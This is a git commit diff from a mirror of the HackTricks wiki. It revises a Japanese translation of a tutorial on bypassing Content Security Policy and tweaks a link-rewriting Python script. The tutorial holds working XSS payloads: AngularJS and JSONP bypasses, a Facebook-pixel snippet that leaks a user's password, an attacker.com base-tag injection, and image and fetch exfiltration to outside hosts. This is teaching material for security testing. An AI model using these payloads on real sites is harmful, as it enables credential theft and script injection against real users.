mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
parent
704b0a9159
commit
2ab6ca9bfc
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃からの保護**を目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含みます。
|
||||
|
||||
CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
|
||||
CSPの実装は、**レスポンスヘッダー**を通じて行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
|
||||
|
||||
- レスポンスヘッダーを介して実装される:
|
||||
```
|
||||
@ -39,7 +39,7 @@ object-src 'none';
|
||||
```
|
||||
### ディレクティブ
|
||||
|
||||
- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
|
||||
- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
|
||||
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
|
||||
- **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
|
||||
- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
|
||||
@ -55,9 +55,9 @@ object-src 'none';
|
||||
- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。
|
||||
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
|
||||
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
|
||||
- **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。
|
||||
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのために有効なソースを指定します。
|
||||
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのために有効なソースを指定します。
|
||||
- **report-to**: ポリシーが違反された場合に報告が送信されるグループを指定します。
|
||||
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
|
||||
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
|
||||
- **navigate-to**: ドキュメントがあらゆる手段(a、form、window.location、window.openなど)でナビゲートできるURLを制限します。
|
||||
|
||||
### ソース
|
||||
@ -67,7 +67,7 @@ object-src 'none';
|
||||
- `'data'`: データスキーム(例:Base64エンコードされた画像)を介してリソースを読み込むことを許可します。
|
||||
- `'none'`: どのソースからの読み込みもブロックします。
|
||||
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
||||
- `'unsafe-hashes'`: 特定のインラインイベントハンドラーを有効にします。
|
||||
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
|
||||
- `'unsafe-inline'`: インラインリソース(インライン`<script>`や`<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
|
||||
- `'nonce'`: 暗号的なノンス(1回限り使用される番号)を使用する特定のインラインスクリプトのホワイトリストです。
|
||||
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。以下のように:
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを含む新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行されることが許可されます**。
|
||||
もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを使って新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行されることが許可されます**。
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -161,13 +161,13 @@ JSファイルをアップロードできる場合、このCSPをバイパスで
|
||||
```
|
||||
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
|
||||
|
||||
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**(例えば、_script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを実行することを**拒否する**からです。「幸運にも」、ミスがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/**のような**MIMEタイプで提供しません**。
|
||||
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**(例えば、_script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを**実行することを拒否する**からです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/**のような**MIMEタイプで提供しません**。
|
||||
|
||||
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
|
||||
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
|
||||
|
||||
### Form-action
|
||||
|
||||
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)も見てください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
|
||||
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
|
||||
|
||||
### 第三者エンドポイント + ('unsafe-eval')
|
||||
|
||||
@ -176,7 +176,7 @@ JSを注入することが不可能な場合でも、例えば資格情報を**
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
脆弱なバージョンのangularをロードし、任意のJSを実行します:
|
||||
脆弱なバージョンのAngularをロードし、任意のJSを実行します:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -232,7 +232,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
```
|
||||
#### Google reCAPTCHA JSコードの悪用
|
||||
|
||||
[**このCTFの解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスし任意のJSコードを実行することができます。
|
||||
According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
より多くの[**この書き込みからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
より多くの[**このレポートからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -286,11 +286,11 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントを含んでいます。**
|
||||
|
||||
**信頼されたエンドポイントにオープンリダイレクトが含まれている**場合、同じ脆弱性が発生します。最初のエンドポイントが信頼されている場合、リダイレクトも信頼されます。
|
||||
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
|
||||
|
||||
### 第三者の悪用
|
||||
|
||||
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、データを抽出したりJavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
|
||||
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
|
||||
|
||||
| エンティティ | 許可されたドメイン | 機能 |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
@ -303,9 +303,9 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。
|
||||
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
|
||||
|
||||
たとえば、次のCSPが見つかった場合:
|
||||
例えば、次のCSPが見つかった場合:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
@ -322,14 +322,14 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
||||
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
|
||||
|
||||
次に、被害者側で、攻撃者のFacebook開発者アカウントのアプリIDを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するために以下のコードを実行します。
|
||||
次に、被害者側で、攻撃者のFacebook開発者アカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するためのコードを実行します。
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
他の7つのサードパーティドメインについては、悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
|
||||
前の表に指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用に関する追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
|
||||
|
||||
### RPO(相対パス上書き)によるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
@ -357,16 +357,16 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||
{{#endref}}
|
||||
|
||||
### **base-uri** が欠落している場合
|
||||
### **base-uri** が欠落している
|
||||
|
||||
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を実行するために悪用できます。
|
||||
|
||||
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ**を悪用して**自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。**\
|
||||
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ** を悪用して **自分のサーバーからスクリプトを読み込ませ、XSSを達成することができます。**\
|
||||
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJSイベント
|
||||
### AngularJS events
|
||||
|
||||
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
|
||||
|
||||
@ -421,23 +421,23 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。
|
||||
|
||||
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトを読み込むことができ**、したがってパス制限を回避します。
|
||||
しかし、最終的に`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
|
||||
|
||||
このリダイレクトにより、パスが完全に指定されていても、依然として回避されます。
|
||||
このリダイレクトにより、たとえパスが完全に指定されていても、依然として回避されます。
|
||||
|
||||
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
|
||||
|
||||
### ダンリングマークアップを使用したCSPのバイパス
|
||||
### ダングリングマークアップを使用したCSPのバイパス
|
||||
|
||||
[こちらを読んでください](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
### 'unsafe-inline'; img-src \*; XSS経由
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、`img-src *`は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
|
||||
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、`img-src *`は、ウェブページ上で任意のリソースから任意の画像を使用できることを意味します。
|
||||
|
||||
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはCSRFを悪用し、ボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
|
||||
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはボットがアクセスできるページにSQLiが含まれているCSRFを悪用し、画像を介してフラグを抽出します):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます(通常のXSSのように)。これにより、**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます(通常のXSSとして)それが**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### サービスワーカーを使用して
|
||||
|
||||
サービスワーカーの**`importScripts`**関数はCSPに制限されません:
|
||||
サービスワーカーの**`importScripts`**関数はCSPによって制限されません:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
@ -462,7 +462,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
||||
|
||||
#### Chrome
|
||||
|
||||
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシーを無効にする**方法で**ポリシーを変更**することができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
|
||||
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、あなたは**ポリシーを何らかの方法で変更**して**無効にする**ことができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -472,13 +472,13 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
|
||||
#### Edge
|
||||
|
||||
Edgeでは、はるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を破棄します**。\
|
||||
Edgeでははるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を削除します**。\
|
||||
例: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; via XSS (iframe) - タイムアタック
|
||||
|
||||
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
|
||||
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、情報を抽出したいページに被害者がアクセスするようにします(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
|
||||
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、被害者が情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
|
||||
|
||||
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。スリープ関数のためです。そうすれば、フラグを抽出できるようになります:
|
||||
```html
|
||||
@ -542,15 +542,15 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。
|
||||
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします**。
|
||||
|
||||
詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||
詳細については、[**こちらの元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。
|
||||
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、CSPが許可されたiframe内により制限されたCSPを注入することによってバイパスされ、特定のJSファイルの読み込みを禁止し、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込むことを可能にしました**。
|
||||
|
||||
**`csp`**属性を使用して、**IframeのCSPを制限する**ことができます:
|
||||
**`csp`**属性を使用して、**IframeのCSPを制限することができます**:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できれば(おそらくCRLFのため)、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に抽出したい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
|
||||
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できれば(おそらくCRLFのため)、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に流出させたい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
|
||||
|
||||
例として[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
||||
|
||||
@ -579,11 +579,11 @@ document.querySelector("DIV").innerHTML =
|
||||
```
|
||||
### CSPとIframeを使用した情報漏洩
|
||||
|
||||
- `iframe`が作成され、CSPによって許可されたURL(これを`https://example.redirect.com`と呼びます)を指します。
|
||||
- `iframe`がCSPによって許可されたURL(`https://example.redirect.com`と呼びましょう)を指すように作成されます。
|
||||
- このURLは、CSPによって**許可されていない**秘密のURL(例:`https://usersecret.example2.com`)にリダイレクトします。
|
||||
- `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
|
||||
|
||||
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。
|
||||
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作による機密情報の漏洩の可能性があることは興味深いです。
|
||||
|
||||
別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです:
|
||||
```markdown
|
||||
@ -593,20 +593,20 @@ CSPによってブロックまたは許可されるリクエストを監視す
|
||||
|
||||
両方の方法は、CSPの実装とブラウザの動作のニュアンスを利用しており、一見安全なポリシーがどのようにして意図せずに機密情報を漏洩させるかを示しています。
|
||||
|
||||
[**ここ**](https://ctftime.org/writeup/29310)からのトリック。
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## CSPをバイパスするための危険な技術
|
||||
|
||||
### パラメータが多すぎるときのPHPエラー
|
||||
|
||||
この[**動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーによって**送信されません**。
|
||||
[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため送信されません。
|
||||
|
||||
### PHPレスポンスバッファのオーバーロード
|
||||
|
||||
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
|
||||
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**は**CSPヘッダーの前に送信され**、ヘッダーが無視されます。\
|
||||
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
|
||||
|
||||
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### エラーページの書き換え
|
||||
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOMEは、**ページのエンドポイント**でXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページを悪用したい同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
|
||||
SOMEは、**ページのエンドポイント**でXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページを悪用したい同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOM**に**アクセス**できます。詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,8 +627,8 @@ SOMEは、**ページのエンドポイント**でXSS(または非常に制限
|
||||
|
||||
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
|
||||
|
||||
